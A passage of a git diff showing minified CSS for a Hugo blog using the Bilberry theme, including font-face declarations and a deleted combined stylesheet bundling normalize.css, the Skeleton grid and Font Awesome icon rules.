mono;font-style:normal;font-weight:400;src:url(https://103.78.122.61:1313/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot);src:local("Roboto Mono"),local(RobotoMono-Regular),url(https://103.78.122.61:1313/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot?#iefix) format("embedded-opentype"),url(https://103.78.122.61:1313/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://103.78.122.61:1313/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://103.78.122.61:1313/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://103.78.122.61:1313/dist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg#RobotoMono) format("svg")}.bilberry-hugo-theme{background-color:#f1f1f1;font-family:open sans,sans-serif;color:#222;font-size:1.6em}.bilberry-hugo-theme h1,.bilberry-hugo-theme h2,.bilberry-hugo-theme h3,.bilberry-hugo-theme h4,.bilberry-hugo-theme h5,.bilberry-hugo-theme h6,.bilberry-hugo-theme .title,.bilberry-hugo-theme .subtitle{font-family:comfortaa,sans-serif}.bilberry-hugo-theme a{color:inherit;text-decoration:none;transition:all .2s ease-in-out}.bilberry-hugo-theme a:hover{color:#5c8b59}.bilberry-hugo-theme .hljs{padding:.75em;font-size:.9em}.bilberry-hugo-theme .container{width:800px;max-width:100%}.bilberry-hugo-theme *::-webkit-input-placeholder{color:#d8d7d7}.bilberry-hugo-theme *:-moz-placeholder{color:#d8d7d7}.bilberry-hugo-theme *::-moz-placeholder{color:#d8d7d7}.bilberry-hugo-theme *:-ms-input-placeholder{color:#d8d7d7}.bilberry-hugo-theme nav{background:#2d3642;color:#f1f1f1;display:none}.bilberry-hugo-theme nav.permanentTopNav{display:block}.bilberry-hugo-theme nav .container{display:flex;justify-content:space-between;align-items:center;padding:.25em 0;min-height:65px}.bilberry-hugo-theme nav ul{list-style:none;display:flex;flex-wrap:wrap;align-items:center;margin:0}.bilberry-hugo-theme nav ul li{margin-bottom:0;display:flex}.bilberry-hugo-theme nav ul li a{text-align:center;padding:1em 1.5em;display:flex}.bilberry-hugo-theme nav ul li a:hover{color:inherit;background-color:#424f60}.bilberry-hugo-theme nav .search{margin-left:auto;min-width:300px;position:relative}.bilberry-hugo-theme nav .search input{font-family:open sans,sans-serif}.bilberry-hugo-theme nav .search i{position:absolute;left:1em;top:10px;z-index:40}.bilberry-hugo-theme nav .search input{margin:0;background:0 0;border:none;color:#f1f1f1;padding-left:2.75em;width:100%;background-color:#374251}.bilberry-hugo-theme nav .search input:hover,.bilberry-hugo-theme nav .search input:focus{background-color:#424f60;border:none}.bilberry-hugo-theme nav .search .algolia-autocomplete{width:100%;color:#444}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu{width:100%;border-radius:4px}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu .empty{padding:.5em 1em;display:block}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu .branding{font-size:.75em;text-align:right;padding:.5em 1em;background-color:#f1f1f1}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu .branding img{width:3.5em;position:relative;top:.1em}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span{display:flex;justify-content:space-between;align-items:center;background-color:#fafafa}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span:hover,.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span:focus{background-color:#f5f5f5}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span .title{max-width:315px}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span.entry.category .title,.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span.entry.tag .title,.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span.entry.author .title{text-transform:capitalize}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span .fa{font-size:1em;color:#888;text-align:right}.bilberry-hugo-theme nav .search .aa-input-container{display:inline-block;position:relative}.bilberry-hugo-theme nav .search .aa-input-search{width:300px;padding:12px 28px 12px 12px;border:1px solid #e4e4e4;box-sizing:border-box;-webkit-appearance:none;-moz-appearance:none;appearance:none}.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-decoration,.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-cancel-button,.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-results-button,.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-results-decoration{display:none}.bilberry-hugo-theme nav .search .aa-input-icon{height:16px;width:16px;position:absolute;top:50%;right:16px;-webkit-transform:translateY(-50%);transform:translateY(-50%);fill:#e4e4e4;pointer-events:none}.bilberry-hugo-theme nav .search .aa-dropdown-menu{background-color:#fff;border:1px solid #e4e4e499;min-width:300px;margin-top:10px;box-sizing:border-box}.bilberry-hugo-theme nav .search .aa-suggestion{padding:6px 12px;cursor:pointer}.bilberry-hugo-theme nav .search .aa-suggestion+.aa-suggestion{border-top:1px solid #e4e4e499}.bilberry-hugo-theme nav .search .aa-suggestions-category{border-bottom:1px solid #e4e4e499;border-top:1px solid #e4e4e499;padding:6px 12px}.bilberry-hugo-theme header{background-color:#1d1f38;color:#f1f1f1;height:20rem;display:flex;align-items:center}.bilberry-hugo-theme header .container{display:flex;flex-direction:row;align-items:center;height:100%}.bilberry-hugo-theme header .container:after{content:"";display:block;position:absolute;left:50px;top:50px;width:2px;height:100%;background:#ffffff1a;z-index:1}.bilberry-hugo-theme header .logo{font-size:40pt!important;background-color:#eee;border-radius:50%;width:90px;height:90px;border:5px #eee solid;position:relative;color:#eee;z-index:4;display:flex;align-items:center;justify-content:center}.bilberry-hugo-theme header .logo a{border:0}.bilberry-hugo-theme header .logo:hover .overlay{opacity:1}.bilberry-hugo-theme header .logo img{max-width:100%;border-radius:50%}.bilberry-hugo-theme header .logo .overlay{position:absolute;top:0;left:0;bottom:0;right:0;background-color:#5c8b59;border-radius:50%;display:flex;align-items:center;justify-content:center;transition:all .3s ease-in-out;opacity:0}.bilberry-hugo-theme header .titles{margin-left:3rem}.bilberry-hugo-theme header .titles h3{margin-bottom:0;font-size:3.25rem}.bilberry-hugo-theme header .languages{position:absolute;right:0;bottom:0;background-color:#2d3642;padding:.25em 1em;border-top-right-radius:4px;border-top-left-radius:4px}.bilberry-hugo-theme header .languages a{text-transform:uppercase;font-size:.8em;color:#f1f1f1;letter-spacing:.1em}.bilberry-hugo-theme header .languages a.active{font-weight:700}.bilberry-hugo-theme header .languages a:not(:last-child):after{content:" | ";color:inherit}.bilberry-hugo-theme header .toggler{position:absolute;right:0;top:0;background:#2d3642;padding:.375em .75em;font-size:1.125em;border-bottom-left-radius:4px;border-bottom-right-radius:4px;cursor:pointer}.bilberry-hugo-theme header .toggler.permanentTopNav{display:none}.bilberry-hugo-theme .main{margin-bottom:5em;min-height:50vh}.bilberry-hugo-theme .main:before{content:"";display:block;position:absolute;left:50px;bottom:50px;width:2px;height:100%;background:#0000000d;z-index:1}.bilberry-hugo-theme .main:after{content:"";display:block;position:absolute;left:41px;bottom:32px;height:20px;width:20px;background:#ddd;border-radius:999px;z-index:10}.bilberry-hugo-theme .main .article-wrapper{display:flex;justify-content:flex-end;padding-top:50px;min-height:90px;position:relative}.bilberry-hugo-theme .main .article-wrapper.single{padding-bottom:2.5em}.bilberry-hugo-theme .main .article-wrapper .bubble{position:absolute;left:25px;top:85px;background-color:#ccc;border:3px solid #fff;width:45px;height:45px;display:flex;align-items:center;justify-content:center;border-radius:50%;z-index:10;text-decoration:none;color:#fff;transition:all .3s ease-in-out}.bilberry-hugo-theme .main .article-wrapper .bubble .fa{font-size:15pt}.bilberry-hugo-theme .main .article-wrapper .bubble:hover{background-color:#5c8b59}.bilberry-hugo-theme article{border-radius:4px;overflow:hidden;background-color:#fff;box-shadow:0 1px 2px #0003;width:700px;position:relative}.bilberry-hugo-theme article:before{content:"";display:block;border:11px solid #0000;border-right-color:#ddd;position:absolute;top:49px;left:-22px}.bilberry-hugo-theme article:after{content:"";display:block;border:10px solid #0000;border-right-color:#fff;position:absolute;top:50px;left:-20px}.bilberry-hugo-theme article .featured-image{width:100%}.bilberry-hugo-theme article .featured-image img{width:100%}.bilberry-hugo-theme article .content{padding:2em}.bilberry-hugo-theme article .content h3{font-size:1.75em;margin-bottom:.25em}.bilberry-hugo-theme article .content h3 a{font-style:normal}.bilberry-hugo-theme article .content .meta{text-transform:uppercase;font-style:normal;letter-spacing:1px;margin-bottom:2rem;font-size:.825em;color:#999;padding-bottom:2.5%;border-bottom:3px double #eee;margin-bottom:4.5%}.bilberry-hugo-theme article .content .meta a{font-style:normal}.bilberry-hugo-theme article .content .meta span:before{content:" / ";margin:0 1rem}.bilberry-hugo-theme article .content .meta span:first-child:before{margin:0!important;content:""!important}.bilberry-hugo-theme article .content .meta span a:not(:last-child):after{content:", "}.bilberry-hugo-theme article .content a{font-style:italic}.bilberry-hugo-theme article .content a.more{display:block;margin:2.5rem 0;margin-bottom:1rem;color:#5c8b59;font-size:1.125em;text-decoration:none;font-style:normal}.bilberry-hugo-theme article .content a.more:hover{color:#999}.bilberry-hugo-theme article .content .task-list{list-style:none}.bilberry-hugo-theme article .content .task-list .task-list-item{margin-bottom:0;position:relative;top:3px;margin-right:.25em}.bilberry-hugo-theme article .content blockquote{background-color:#f6f6f6;font-family:comfortaa,sans-serif;margin:1.5em 0;padding:2em;border-left:.5em solid #ededed;font-size:1.1em}.bilberry-hugo-theme article .content blockquote cite{text-transform:uppercase;font-style:normal;font-weight:700;font-size:.9em}.bilberry-hugo-theme article .content blockquote p:last-child{margin-bottom:0}.bilberry-hugo-theme article .content img{max-width:100%}.bilberry-hugo-theme article .content video{max-width:100%}.bilberry-hugo-theme article .footer{display:flex;align-items:center;flex-direction:row;justify-content:space-between;background:#1d1f381a;font-family:roboto mono,monospace;font-size:.9em}.bilberry-hugo-theme article .footer.no-tags{flex-direction:row-reverse}.bilberry-hugo-theme article .footer .tags{display:flex;align-items:center;margin:1em 2em}.bilberry-hugo-theme article .footer .tags .links{margin-left:.75em}.bilberry-hugo-theme article .footer .tags .links a:not(:last-child):after{content:" / ";color:#222!important}.bilberry-hugo-theme article .footer .languages{display:flex;align-items:center;margin:1em 2em;white-space:nowrap}.bilberry-hugo-theme article .footer .languages .fa{font-size:1.5em}.bilberry-hugo-theme article .footer .languages .links{margin-left:.75em;text-transform:uppercase;font-family:open sans,sans-serif;letter-spacing:.1em}.bilberry-hugo-theme article .footer .languages .links a:not(:last-child):after{content:" | ";color:#222!important}.bilberry-hugo-theme article.quote{background-color:#2d3642}.bilberry-hugo-theme article.quote:after{border-right-color:#2d3642}.bilberry-hugo-theme article.quote a:hover{color:inherit;font-size:1.1em}.bilberry-hugo-theme article.quote .featured-image{position:absolute;top:0;left:0;width:100%;height:100%;z-index:5;opacity:.25}.bilberry-hugo-theme article.quote blockquote{padding:5.5%;margin:0;text-align:center;color:#fff;background:0 0;font-size:1.2em;position:relative;z-index:10}.bilberry-hugo-theme article.quote blockquote p{line-height:170%;font-size:1.1em}.bilberry-hugo-theme article.quote blockquote cite{font-family:comfortaa,sans-serif;font-weight:600;text-transform:uppercase;line-height:140%;font-size:.725em;text-align:center;letter-spacing:1px}.bilberry-hugo-theme article.quote blockquote cite:before{content:"— "}.bilberry-hugo-theme article.gallery .flexslider{margin:0;border:0}.bilberry-hugo-theme article.gallery .flexslider .flex-direction-nav a{display:flex;flex-direction:column;justify-content:center}.bilberry-hugo-theme article.gallery .flexslider .flex-direction-nav a:before{color:#ffffffe5;text-shadow:1px 1px 5px #00000080}.bilberry-hugo-theme article.video .responsive-video{position:relative;padding-bottom:56.25%;padding-top:0;height:0;overflow:hidden}.bilberry-hugo-theme article.video .responsive-video iframe{position:absolute;top:0;left:0;width:100%;height:100%}.bilberry-hugo-theme article.audio .responsive-audio iframe{width:100%}.bilberry-hugo-theme article.link{background-color:#2d3642;min-height:7em}.bilberry-hugo-theme article.link:after{border-right-color:#2d3642}.bilberry-hugo-theme article.link:hover{background-color:#5c8b59;transition:all .3s ease-in-out}.bilberry-hugo-theme article.link:hover:after{border-right-color:#5c8b59;transition:all .3s ease-in-out}.bilberry-hugo-theme article.link .featured-image{position:absolute;top:0;left:0;width:100%;height:100%;z-index:5;opacity:.25}.bilberry-hugo-theme article.link a{color:#fff;text-decoration:none;display:flex;flex-direction:column;justify-content:center;align-items:center;left:0;top:0;width:100%;height:100%;position:relative;z-index:10}.bilberry-hugo-theme article.link a h4{font-variant:small-caps;font-size:2em;margin:2rem}.bilberry-hugo-theme article.link a p{margin:2em;margin-top:0}.bilberry-hugo-theme #disqus_thread{margin-left:100px;padding-bottom:1.2em}.bilberry-hugo-theme .paginator{display:flex;margin-left:100px;margin-top:75px;padding-bottom:1em}.bilberry-hugo-theme .paginator .fa{margin:0 .25em}.bilberry-hugo-theme .paginator a{border-radius:4px;padding:1em 2em;text-decoration:none;font-weight:700;background-color:#b4b4b4;color:#fff}.bilberry-hugo-theme .paginator a:hover{background-color:#5c8b59;transition:all .3s ease-in-out}.bilberry-hugo-theme .paginator a.older{margin-right:auto}.bilberry-hugo-theme .paginator a.newer{margin-left:auto}.bilberry-hugo-theme footer{border-top:3px solid #eee;border-bottom:3px solid #eee;background-color:#fff}.bilberry-hugo-theme footer .container{padding:4rem 0;display:flex;justify-content:space-between;font-size:.9em;font-family:comfortaa,sans-serif}.bilberry-hugo-theme footer .container div:not(:first-child){margin-left:5%}.bilberry-hugo-theme footer .container:after{display:none}.bilberry-hugo-theme footer .container strong{text-transform:uppercase;color:#444;padding-bottom:.75em}.bilberry-hugo-theme footer .container ul{list-style:none;margin-top:1.25em}.bilberry-hugo-theme footer .container ul li{border-bottom:1px solid #eee;padding-right:10px}.bilberry-hugo-theme footer .container ul a{position:relative;left:0;display:inline-block;transition:left .3s ease-in-out;color:#5c8b59;font-family:open sans,sans-serif}.bilberry-hugo-theme footer .container ul a:hover{left:10px;color:#1d1f38}.bilberry-hugo-theme footer .container .right .external-profiles{width:100%;margin-bottom:2em}.bilberry-hugo-theme footer .container .right .external-profiles a{font-size:2em;margin:0 .5rem;color:#444}.bilberry-hugo-theme footer .container .right .external-profiles a:hover{color:#5c8b59}.bilberry-hugo-theme footer .container .right .external-profiles .fa-facebook-adblock-proof:before{content:"\f09a"}.bilberry-hugo-theme footer .container .right .external-profiles .fa-twitter-adblock-proof:before{content:"\f099"}.bilberry-hugo-theme footer .container .right .external-profiles .fa-google-plus-official-adblock-proof:before{content:"\f2b3"}.bilberry-hugo-theme footer .container .right .external-profiles .fa-youtube-adblock-proof:before{content:"\f167"}.bilberry-hugo-theme footer .container .right .languages{width:100%;margin-left:0}.bilberry-hugo-theme footer .container .right .languages a{text-transform:uppercase;color:#5c8b59;letter-spacing:.1em}.bilberry-hugo-theme footer .container .right .languages a.active{font-weight:700}.bilberry-hugo-theme footer .container .right .languages a:hover{color:#222}.bilberry-hugo-theme footer .container .right .languages a:not(:last-child):after{content:" | ";color:#222!important}.bilberry-hugo-theme footer .container .right strong{display:block}.bilberry-hugo-theme .credits .container{display:flex;justify-content:space-between;padding:4rem 0;font-size:.8em;color:#777}.bilberry-hugo-theme .credits .container:after{display:none}@media(max-width:834px){.bilberry-hugo-theme nav.permanentTopNav{display:none}.bilberry-hugo-theme nav .container{flex-direction:column-reverse;padding:0 1.5em}.bilberry-hugo-theme nav .container .topnav{flex-direction:column;justify-content:center;align-items:center;margin-bottom:.5em;width:100%}.bilberry-hugo-theme nav .container .topnav li{width:100%}.bilberry-hugo-theme nav .container .topnav a{padding:.75em 0;display:block;width:100%}.bilberry-hugo-theme nav .container .search{margin:.5em 1.5em;width:100%}.bilberry-hugo-theme nav .container .search input{width:100%}.bilberry-hugo-theme header{width:100%}.bilberry-hugo-theme header .container{padding:0 1em}.bilberry-hugo-theme header .toggler{right:1.5em}.bilberry-hugo-theme header .toggler.permanentTopNav{display:block}.bilberry-hugo-theme .bubble{display:none!important}.bilberry-hugo-theme .container{width:100%;padding:0}.bilberry-hugo-theme .container:before,.bilberry-hugo-theme .container:after{display:none!important}.bilberry-hugo-theme .main{margin-bottom:0}.bilberry-hugo-theme .main article{margin:0;width:100%}.bilberry-hugo-theme .main article:before,.bilberry-hugo-theme .main article:after{display:none!important}.bilberry-hugo-theme .main #disqus_thread{margin:0 1.5em}.bilberry-hugo-theme .main .paginator{margin:1.5em;margin-top:50px}.bilberry-hugo-theme footer .container{padding:4rem 1.5em;flex-direction:column;text-align:center}.bilberry-hugo-theme footer .container div{width:100%;margin:0!important;margin-top:1.5em!important}.bilberry-hugo-theme .credits .container{padding:4rem 1.5em}} \ No newline at end of file diff --git a/themes/public/sass/combined.min.717098cb5503581e75f12e486a847ca410bf8367d4d8713f4c37affc868c5a1d.css b/themes/public/sass/combined.min.717098cb5503581e75f12e486a847ca410bf8367d4d8713f4c37affc868c5a1d.css deleted file mode 100644 index 518cee7d..00000000 --- a/themes/public/sass/combined.min.717098cb5503581e75f12e486a847ca410bf8367d4d8713f4c37affc868c5a1d.css +++ /dev/null @@ -1,2 +0,0 @@ -@charset "UTF-8";/*!normalize.css v8.0.0 | MIT License | github.com/necolas/normalize.css*/html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}h1{font-size:2em;margin:.67em 0}hr{box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:#0000}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details{display:block}summary{display:list-item}template{display:none}[hidden]{display:none}.container{position:relative;width:100%;max-width:960px;margin:0 auto;padding:0 20px;box-sizing:border-box}.column,.columns{width:100%;float:left;box-sizing:border-box}@media(min-width:400px){.container{width:85%;padding:0}}@media(min-width:550px){.container{width:80%}.column,.columns{margin-left:4%}.column:first-child,.columns:first-child{margin-left:0}.one.column,.one.columns{width:4.66666666667%}.two.columns{width:13.3333333333%}.three.columns{width:22%}.four.columns{width:30.6666666667%}.five.columns{width:39.3333333333%}.six.columns{width:48%}.seven.columns{width:56.6666666667%}.eight.columns{width:65.3333333333%}.nine.columns{width:74%}.ten.columns{width:82.6666666667%}.eleven.columns{width:91.3333333333%}.twelve.columns{width:100%;margin-left:0}.one-third.column{width:30.6666666667%}.two-thirds.column{width:65.3333333333%}.one-half.column{width:48%}.offset-by-one.column,.offset-by-one.columns{margin-left:8.66666666667%}.offset-by-two.column,.offset-by-two.columns{margin-left:17.3333333333%}.offset-by-three.column,.offset-by-three.columns{margin-left:26%}.offset-by-four.column,.offset-by-four.columns{margin-left:34.6666666667%}.offset-by-five.column,.offset-by-five.columns{margin-left:43.3333333333%}.offset-by-six.column,.offset-by-six.columns{margin-left:52%}.offset-by-seven.column,.offset-by-seven.columns{margin-left:60.6666666667%}.offset-by-eight.column,.offset-by-eight.columns{margin-left:69.3333333333%}.offset-by-nine.column,.offset-by-nine.columns{margin-left:78%}.offset-by-ten.column,.offset-by-ten.columns{margin-left:86.6666666667%}.offset-by-eleven.column,.offset-by-eleven.columns{margin-left:95.3333333333%}.offset-by-one-third.column,.offset-by-one-third.columns{margin-left:34.6666666667%}.offset-by-two-thirds.column,.offset-by-two-thirds.columns{margin-left:69.3333333333%}.offset-by-one-half.column,.offset-by-one-half.columns{margin-left:52%}}html{font-size:62.5%}body{font-size:1.5em;line-height:1.6;font-weight:400;font-family:Raleway,HelveticaNeue,helvetica neue,Helvetica,Arial,sans-serif;color:#222}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:2rem;font-weight:300}h1{font-size:4rem;line-height:1.2;letter-spacing:-.1rem}h2{font-size:3.6rem;line-height:1.25;letter-spacing:-.1rem}h3{font-size:3rem;line-height:1.3;letter-spacing:-.1rem}h4{font-size:2.4rem;line-height:1.35;letter-spacing:-.08rem}h5{font-size:1.8rem;line-height:1.5;letter-spacing:-.05rem}h6{font-size:1.5rem;line-height:1.6;letter-spacing:0}@media(min-width:550px){h1{font-size:5rem}h2{font-size:4.2rem}h3{font-size:3.6rem}h4{font-size:3rem}h5{font-size:2.4rem}h6{font-size:1.5rem}}p{margin-top:0}a{color:#1eaedb}a:hover{color:#0fa0ce}.button,button,input[type=button],input[type=reset],input[type=submit]{display:inline-block;height:38px;padding:0 30px;color:#555;text-align:center;font-size:11px;font-weight:600;line-height:38px;letter-spacing:.1rem;text-transform:uppercase;text-decoration:none;white-space:nowrap;background-color:#0000;border-radius:4px;border:1px solid #bbb;cursor:pointer;box-sizing:border-box}.button:focus,.button:hover,button:focus,button:hover,input[type=button]:focus,input[type=button]:hover,input[type=reset]:focus,input[type=reset]:hover,input[type=submit]:focus,input[type=submit]:hover{color:#333;border-color:#888;outline:0}.button.button-primary,button.button-primary,input[type=button].button-primary,input[type=reset].button-primary,input[type=submit].button-primary{color:#fff;background-color:#33c3f0;border-color:#33c3f0}.button.button-primary:focus,.button.button-primary:hover,button.button-primary:focus,button.button-primary:hover,input[type=button].button-primary:focus,input[type=button].button-primary:hover,input[type=reset].button-primary:focus,input[type=reset].button-primary:hover,input[type=submit].button-primary:focus,input[type=submit].button-primary:hover{color:#fff;background-color:#1eaedb;border-color:#1eaedb}input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=url],select,textarea{height:38px;padding:6px 10px;background-color:#fff;border:1px solid #d1d1d1;border-radius:4px;box-shadow:none;box-sizing:border-box}input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=url],textarea{-webkit-appearance:none;-moz-appearance:none;appearance:none}textarea{min-height:65px;padding-top:6px;padding-bottom:6px}input[type=email]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=url]:focus,select:focus,textarea:focus{border:1px solid #33c3f0;outline:0}label,legend{display:block;margin-bottom:.5rem;font-weight:600}fieldset{padding:0;border-width:0}input[type=checkbox],input[type=radio]{display:inline}label>.label-body{display:inline-block;margin-left:.5rem;font-weight:400}ul{list-style:circle inside}ol{list-style:decimal inside}ol,ul{padding-left:0;margin-top:0}ol ol,ol ul,ul ol,ul ul{margin:1.5rem 0 1.5rem 3rem;font-size:90%}li{margin-bottom:1rem}code{padding:.2rem .5rem;margin:0 .2rem;font-size:90%;white-space:nowrap;background:#f1f1f1;border:1px solid #e1e1e1;border-radius:4px}pre>code{display:block;padding:1rem 1.5rem;white-space:pre}td,th{padding:12px 15px;text-align:left;border-bottom:1px solid #e1e1e1}td:first-child,th:first-child{padding-left:0}td:last-child,th:last-child{padding-right:0}.button,button{margin-bottom:1rem}fieldset,input,select,textarea{margin-bottom:1.5rem}blockquote,dl,figure,form,ol,p,pre,table,ul{margin-bottom:2.5rem}.u-full-width{width:100%;box-sizing:border-box}.u-max-full-width{max-width:100%;box-sizing:border-box}.u-pull-right{float:right}.u-pull-left{float:left}hr{margin-top:3rem;margin-bottom:3.5rem;border-width:0;border-top:1px solid #e1e1e1}.container:after,.row:after,.u-cf{content:"";display:table;clear:both}/*!* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome -* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)*/@font-face{font-family:fontawesome;src:url(../fonts/fontawesome-webfont.eot?v=4.7.0);src:url(../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0) format("embedded-opentype"),url(../fonts/fontawesome-webfont.woff2?v=4.7.0) format("woff2"),url(../fonts/fontawesome-webfont.woff?v=4.7.0) format("woff"),url(../fonts/fontawesome-webfont.ttf?v=4.7.0) format("truetype"),url(../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular) format("svg");font-weight:400;font-style:normal}.fa{display:inline-block;font:14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1,1);-ms-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1,-1);-ms-transform:scale(1,-1);transform:scale(1,-1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-